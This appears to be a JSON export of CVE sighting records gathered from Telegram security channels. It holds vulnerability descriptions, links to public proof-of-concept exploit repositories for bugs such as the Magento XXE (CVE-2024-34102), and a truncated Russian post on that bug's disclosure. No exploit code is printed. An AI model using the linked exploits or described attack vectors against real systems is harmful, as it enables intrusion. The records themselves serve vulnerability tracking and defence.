42\u00a0minutes ago \nDescription : drupal-wiki.com Drupal Wiki before 8.31.1 allows XSS via comments, captions, and image titles of a Wiki page. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-05T04:58:25.000000Z"}, {"uuid": "05166a5e-6974-4f8a-8541-9c2377a1d987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34013", "type": "seen", "source": "https://t.me/cvedetector/1152", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34013 - Acronis True Image MacOS Improper Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-34013 \nPublished : July 18, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : Local privilege escalation due to OS command injection vulnerability. The following products are affected: Acronis True Image (macOS) before build 41396. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T16:47:40.000000Z"}, {"uuid": "977616d8-94af-496f-9423-5ba16123f748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34702", "type": "seen", "source": "https://t.me/cvedetector/209", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34702 - Botan is a C++ cryptography library. X.509 certifi\", \n  \"Content\": \"CVE ID : CVE-2024-34702 \nPublished : July 8, 2024, 5:15 p.m. | 34\u00a0minutes ago \nDescription : Botan is a C++ cryptography library. X.509 certificates can identify elliptic curves using either an object identifier or using explicit encoding of the parameters.  Prior to 3.5.0 and 2.19.5, checking name constraints in X.509 certificates is quadratic in the number of names and name constraints. An attacker who presented a certificate chain which contained a very large number of names in the SubjectAlternativeName, signed by a CA certificate which contained a large number of name constraints, could cause a denial of service. The problem has been addressed in Botan 3.5.0 and a partial backport has also been applied and is included in Botan 2.19.5. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-08T19:56:03.000000Z"}, {"uuid": "fee7c291-c801-420a-ba1c-00a5209dccff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34685", "type": "seen", "source": "https://t.me/cvedetector/234", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34685 - Due to weak encoding of user-controlled input in S\", \n  \"Content\": \"CVE ID : CVE-2024-34685 \nPublished : July 9, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : Due to weak encoding of user-controlled input in  \nSAP NetWeaver Knowledge Management XMLEditor which allows malicious scripts can  \nbe executed in the application, potentially leading to a Cross-Site Scripting  \n(XSS) vulnerability. This has no impact on the availability of the application  \nbut it has a low impact on its confidentiality and integrity. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T06:48:11.000000Z"}, {"uuid": "979023ae-5026-4adf-bd3f-76fbe45d9114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34602", "type": "seen", "source": "https://t.me/cvedetector/173", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34602 - Use of implicit intent for sensitive communication\", \n  \"Content\": \"CVE ID : CVE-2024-34602 \nPublished : July 8, 2024, 7:15 a.m. | 32\u00a0minutes ago \nDescription : Use of implicit intent for sensitive communication in Samsung Messages prior to SMR Jul-2024 Release 1 allows local attackers to get sensitive information. User interaction is required for triggering this vulnerability. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-08T09:53:57.000000Z"}, {"uuid": "114156c1-fd93-4e13-98b3-939a9f5a8a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34603", "type": "seen", "source": "https://t.me/cvedetector/172", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34603 - Improper access control in Samsung Message prior t\", \n  \"Content\": \"CVE ID : CVE-2024-34603 \nPublished : July 8, 2024, 7:15 a.m. | 32\u00a0minutes ago \nDescription : Improper access control in Samsung Message prior to SMR Jul-2024 Release 1 allows local attackers to access location data. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-08T09:53:56.000000Z"}, {"uuid": "8678f4f4-f7ee-4b61-9b9a-3b22210aea79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34786", "type": "seen", "source": "https://t.me/cvedetector/224", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34786 - UniFi iOS app 10.15.0 introduces a misconfiguratio\", \n  \"Content\": \"CVE ID : CVE-2024-34786 \nPublished : July 9, 2024, 2:15 a.m. | 25\u00a0minutes ago \nDescription : UniFi iOS app 10.15.0 introduces a misconfiguration on 2nd Generation UniFi Access Points configured as standalone (not using UniFi Network Application) that could cause the SSID name to change and/or the WiFi Password to be removed on the 5GHz Radio.  \n  \nThis vulnerability is fixed in UniFi iOS app 10.15.2 and later. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T04:42:37.000000Z"}, {"uuid": "f3ba55ef-1395-43b7-9ae6-b5d16d811134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34361", "type": "seen", "source": "https://t.me/cvedetector/135", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34361 - Pi-hole is a DNS sinkhole that protects devices fr\", \n  \"Content\": \"CVE ID : CVE-2024-34361 \nPublished : July 5, 2024, 7:15 p.m. | 46\u00a0minutes ago \nDescription : Pi-hole is a DNS sinkhole that protects devices from unwanted content without installing any client-side software. A vulnerability in versions prior to 5.18.3 allows an authenticated user to make internal requests to the server via the `gravity_DownloadBlocklistFromUrl()` function. Depending on some circumstances, the vulnerability could lead to remote command execution. Version 5.18.3 contains a patch for this issue. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-05T22:07:05.000000Z"}, {"uuid": "befb8f53-6fc2-4bcd-b02b-262c5257e555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2585", "content": "#exploit\n1. CVE-2025-20029:\nCommand Injection in TMSH CLI in F5 BIG-IP\nhttps://github.com/mbadanoiu/CVE-2025-20029\n\n2. Dropping a 0 day:\nParallels Desktop Repack Root Privilege Escalation (CVE-2024-34331)\nhttps://jhftss.github.io/Parallels-0-day\n\n3. CVE-2025-21669/CVE-2025-21670:\nvsock/virtio: discard packets if the transport changes / vsock/bpf: return early if transport is not assigned (Linux Kernel)\nhttps://u1f383.github.io/linux/2025/02/24/linux-kernel-some-vsock-vulnerabilities-analysis.html", "creation_timestamp": "2025-02-28T07:48:31.000000Z"}, {"uuid": "e54c3c0b-5321-47a0-9d8c-6ba41e1875d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/LockBitChannels/34671", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-09-04T15:58:16.000000Z"}, {"uuid": "1e5a249d-0133-4be0-bfde-504fbe0a139b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34329", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/34", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-07-27T06:55:01.000000Z"}, {"uuid": "8c9dafd6-c2f7-4724-a168-b422b98b7703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/QFeXN19RCZ7ZU-L3-ScgIhLCETkqrYIG0FyebohShsEE2g", "content": "", "creation_timestamp": "2024-04-15T11:33:04.000000Z"}, {"uuid": "10c0d7a9-a3d6-45b1-8dda-937c112491d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/zGrhgnPcydkCQZyljRF2nYG_j0EnR3_z6IsYJpBa-tBO0Z0", "content": "", "creation_timestamp": "2024-04-26T13:34:30.000000Z"}, {"uuid": "fe3c52d3-aa82-41c7-b60a-218c9957b5a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/0GdlWKHSLHl-Zdt8fK8R9G8fnazfU3EaGCfBzBhzUu1st2Q", "content": "", "creation_timestamp": "2024-04-20T08:43:41.000000Z"}, {"uuid": "5d20aeaa-ad63-4fb2-a2b4-fd63eefce36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "Telegram/Qx13XGaSyEDbvSkCnYEOyF6wnlnfeQzyysxva6SvFfcI2A", "content": "", "creation_timestamp": "2024-10-02T17:43:01.000000Z"}, {"uuid": "a28205a3-7093-4a42-a4c6-37eabf0c1d60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34987", "type": "seen", "source": "https://t.me/Kelvinseccommunity/468", "content": "\ud83d\udea8 CVE-2024-34987\nA SQL Injection vulnerability exists in the ofrs/admin/index.php script of PHPGurukul Online Fire Reporting System 1.2. The vulnerability allows attackers to bypass authentication and gain unauthorized access by injecting SQL commands into the username input field during the login process.\n\nhttps://t.me/Kelvinseccommunity\n\n#poc", "creation_timestamp": "2024-06-04T03:31:49.000000Z"}, {"uuid": "d1ffae24-da20-4845-a533-16e53758b0bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "Telegram/z1FmJvv5udIO3Zoz4PeB3fN7DcS1aeKuhlIf4800DCXKBA", "content": "", "creation_timestamp": "2024-05-21T15:53:31.000000Z"}, {"uuid": "fea479a8-2b03-455f-ade1-5b13773b196a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34329", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/608", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-07-27T15:42:28.000000Z"}, {"uuid": "b9bf4516-e3aa-4e63-8b7f-c79b2b96d2be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34065", "type": "published-proof-of-concept", "source": "https://t.me/Kelvinseccommunity/556", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-30T01:02:10.000000Z"}, {"uuid": "b6c9d1fe-4be6-40a3-8766-585d67c15c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/8w9NbQQwPENxeJa6JTsco_zit2wdOp-mV6BJU7IzyyAcpA", "content": "", "creation_timestamp": "2024-04-26T15:42:02.000000Z"}, {"uuid": "47fbb72a-a238-44a0-a443-07bec0e82d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/C3u8QjN9-7lzSNJ7Qu3Opmh4hhAH2TCJS3ZmcxICBQFQQg", "content": "", "creation_timestamp": "2024-04-20T11:36:23.000000Z"}, {"uuid": "f14ede9d-58de-4c8d-9e9d-72d2b7aa2d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/6719", "content": "#exploit\n1. CVE-2025-21420:\nWindows Disk Cleanup Tool EoP\nhttps://github.com/Network-Sec/CVE-2025-21420-PoC\n\n2. CVE-2024-34716:\nExploiting Linux Trickster via an XSS in PrestaShop\nhttps://github.com/TU-M/Trickster-HTB\n\n3. CVE-2025-26466:\nOpenSSH MitM/DoS\nhttps://github.com/rxerium/CVE-2025-26466\n]-> https://www.qualys.com/2025/02/18/openssh-mitm-dos.txt", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "cdd93784-fcf4-4f16-b464-f2526452c585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "Telegram/yPYr0DasaZkkHrbr-hd2EaUFfatAxAgNbVitVrHRDWk2cg", "content": "", "creation_timestamp": "2024-06-19T16:43:11.000000Z"}, {"uuid": "4fa972a9-9347-4cdf-a535-52d0057dc1fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/t3orpIwYy1UCmQh3s9Mrt0-OTPiRGcZay2gpKiiTMQqV0Q", "content": "", "creation_timestamp": "2024-04-15T17:14:44.000000Z"}, {"uuid": "17c840e6-ce43-46c4-9898-20ccd865ebac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/6980", "content": "#exploit\n1. CVE-2025-20029:\nCommand Injection in TMSH CLI in F5 BIG-IP\nhttps://github.com/mbadanoiu/CVE-2025-20029\n\n2. Dropping a 0 day:\nParallels Desktop Repack Root Privilege Escalation (CVE-2024-34331)\nhttps://jhftss.github.io/Parallels-0-day\n\n3. CVE-2025-21669/CVE-2025-21670:\nvsock/virtio: discard packets if the transport changes / vsock/bpf: return early if transport is not assigned (Linux Kernel)\nhttps://u1f383.github.io/linux/2025/02/24/linux-kernel-some-vsock-vulnerabilities-analysis.html", "creation_timestamp": "2025-02-28T07:48:31.000000Z"}, {"uuid": "05a11c0c-44c7-4f0e-a982-1b2eeb1c4d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/1196", "content": "https://github.com/Mr-r00t11/CVE-2024-34470", "creation_timestamp": "2024-06-20T23:43:07.000000Z"}, {"uuid": "5b419d66-2075-4fe6-b84e-d77067b58459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/1194", "content": "\ud83d\udea8POC RELEASED\ud83d\udea8CVE-2024-34470 \"A critical vulnerability has been found in HSC Mailinspector up to version 5.2.18. This vulnerability affects an unknown functionality of the file /public/loader.php. Manipulating the 'path' argument with an unknown input leads to a path traversal vulnerability. According to CWE, this issue is classified as CWE-22.\n\nThe product uses external input to construct a pathname intended to identify a file or directory located beneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location outside of the restricted directory. This affects confidentiality, integrity, and availability.\"\n\nhttps://x.com/DarkWebInformer/status/1803905811229352212", "creation_timestamp": "2024-06-20T23:41:59.000000Z"}, {"uuid": "c604e88c-1abf-49d9-a4e7-a299db53b1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34342", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/368", "content": "\ud83d\udea8POC RELEASED\ud83d\udea8PoC for CVE-2024-4367 & CVE-2024-34342: Arbitrary JavaScript execution in PDF.js\n\n#DarkWeb #Cybersecurity #Security #Cyberattack #Cybercrime #Privacy #Infosec #CVE20244367 #CVE202434342 #Vulnerability \n\nhttps://x.com/DarkWebInformer/status/1793295146588459283", "creation_timestamp": "2024-05-22T18:12:14.000000Z"}, {"uuid": "18ee3215-c1a7-4de5-b943-3118b5292239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/1488", "content": "\ud83d\udea8PoC RELEASED\ud83d\udea8POC for CVE-2024-34102. A pre-authentication XML entity injection issue in Magento / Adobe Commerce.\n\nhttps://x.com/DarkWebInformer/status/1806716603989459310\n\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-06-28T17:50:34.000000Z"}, {"uuid": "14d728e3-7c67-43a1-b23b-4e32d5b9df3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/sycebrex/188", "content": "\u041f\u0430\u0442\u0447\u0438\u043d\u0433 \u0438\u0437 \u0433\u043e\u0432\u043d\u0430 \u0438 \u043f\u0430\u043b\u043e\u043a \u043f\u0440\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u0430\u0431\u043e\u0443\u043c\u0438\u0435\u043c \u0438 \u043e\u0442\u0432\u0430\u0433\u043e\u0439\n\n\u041f\u043e\u043a\u0430 \u041c\u043e\u0441\u043a\u0432\u0430 \u043f\u043b\u0430\u0432\u0438\u0442\u0441\u044f, \u043a\u0430\u043a \u0441\u043b\u0438\u0432\u043e\u0447\u043d\u043e\u0435 \u043c\u0430\u0441\u043b\u043e, \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 \u0432\u0430\u043c \u0437\u0430\u043d\u044f\u0442\u043d\u0443\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u0440\u043e \u043c\u043e\u0435\u0433\u043e \u0434\u0440\u0443\u0433\u0430 \u0421\u0435\u0440\u0435\u0433\u0443, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0442\u0443\u0442 \u0443\u043f\u043e\u043c\u044f\u043d\u0430\u044e. \u041a\u0441\u0442\u0430\u0442\u0438, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e \u043e\u0442\u0433\u0430\u0434\u0430\u0435\u0442 \u043e\u0442\u043a\u0443\u0434\u0430 \u0435\u0433\u043e \u043d\u0438\u043a Spacewasp - \u043f\u0440\u0438\u0448\u043b\u044e \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043c\u0435\u0440\u0447\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e. \u042f \u0443\u0436\u0435 \u0442\u0430\u043a \u0434\u0435\u043b\u0430\u043b \u0440\u0430\u043d\u044c\u0448\u0435, \u0431\u0435\u0437 \u0448\u0443\u0442\u043e\u0447\u0435\u043a.\n\n\u0421\u0435\u0440\u0435\u0433\u0430 \u043e\u0447\u044c \u043a\u0440\u0443\u0442\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u0432 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u0430\u043b\u0443\u0435\u0442\u0441\u044f \u0431\u0430\u0433\u0431\u0430\u0443\u043d\u0442\u044f\u043c\u0438. \u0412 \u043a\u043e\u043d\u0446\u0435 2023 \u0433\u043e\u0434\u0430 \u043e\u043d \u043d\u0430\u0448\u0435\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Magento. \u042d\u0442\u043e \u043e\u0445\u0440\u0435\u043d\u0435\u0442\u044c \u043a\u0430\u043a\u043e\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0442 Adobe \u0434\u043b\u044f eCommerce. \u041a\u0430\u043a \u043f\u0438\u0448\u0443\u0442 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u044b, \u041c\u0430\u0433\u0435\u043d\u0442\u043e\u0439 \u043e\u043a\u0443\u0447\u0435\u043d\u043e \u0434\u043e 38% \u043e\u043d\u043b\u0430\u0439\u043d \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432. \n\n\u0421\u0435\u0440\u0435\u0433\u0430 \u043d\u0430\u0448\u0435\u043b XXE (XML external entity attack), \u0437\u0430\u0440\u0435\u043f\u043e\u0440\u0442\u0438\u043b \u0432 \u0431\u0430\u0433\u0431\u0430\u0443\u043d\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 HackerOne. \u0422\u0430\u0439\u043c\u0438\u043d\u0433 \u0442\u0443\u0442 \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f: \n\ud83d\uddff\u0437\u0430\u0440\u0435\u043f\u043e\u0440\u0442\u0438\u043b 20 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023\n\ud83d\uddff\u0410\u0434\u043e\u0431 \u043f\u0440\u0438\u043d\u044f\u043b \u0431\u0430\u0433\u0443 8 \u044f\u043d\u0432\u0430\u0440\u044f 2024\n\ud83d\uddff\u0431\u0430\u0431\u043a\u0438 \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0438 21 \u043c\u0430\u044f 2024 (9000 \u0431\u0430\u043a\u0441\u043e\u0432; \u043d\u0430 \u043c\u043e\u0439 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u044d\u0442\u043e \u043c\u0430\u043b\u043e \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u043c\u043f\u0430\u043a\u0442\u0430 \u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u0432\u0430\u0436\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0410\u0434\u043e\u0431 \u044f\u0432\u043d\u043e \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0438\u043b)\n\ud83d\uddff\u0444\u0438\u043a\u0441 \u0437\u0430\u043f\u0443\u0448\u0438\u043b\u0438 \u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 CVE-2024-34102 11 \u0438\u044e\u043d\u044f 2024\n\n\u0424\u0438\u043a\u0441 - \u041a\u041e\u0420\u042f\u0412\u042b\u0419 (\u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0443). \u0418 \u0432 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0410\u0434\u043e\u0431\u043e\u043c \u0431\u044b\u043b\u0438 \u043d\u0435 \u0448\u0438\u0431\u043a\u043e \u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u044b\u0435, \u043a\u0430\u043a \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043f\u043e\u0437\u0436\u0435 \u0421\u0435\u0440\u0435\u0433\u0430. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0430\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \"\u041f\u0430\u0442\u0447\u0438\u043d\u0433 \u0438\u0437 \u0433\u043e\u0432\u043d\u0430 \u0438 \u043f\u0430\u043b\u043e\u043a\". \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043a\u043e \u0432\u0442\u043e\u0440\u043e\u043c\u0443 - \"\u0421\u043b\u0430\u0431\u043e\u0443\u043c\u0438\u0435 \u0438 \u043e\u0442\u0432\u0430\u0433\u0430\".\n\n\u0412\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043d\u0430 \u0441\u0446\u0435\u043d\u0443 \u0432\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 Sansec \u0443\u0432\u0438\u0434\u0435\u043b\u0430 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e CVE-2024-34102, \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043a\u043e\u0440\u044f\u0432\u044b\u0439 \u0444\u0438\u043a\u0441 \u043e\u0442 \u0410\u0434\u043e\u0431\u0430 \u0438 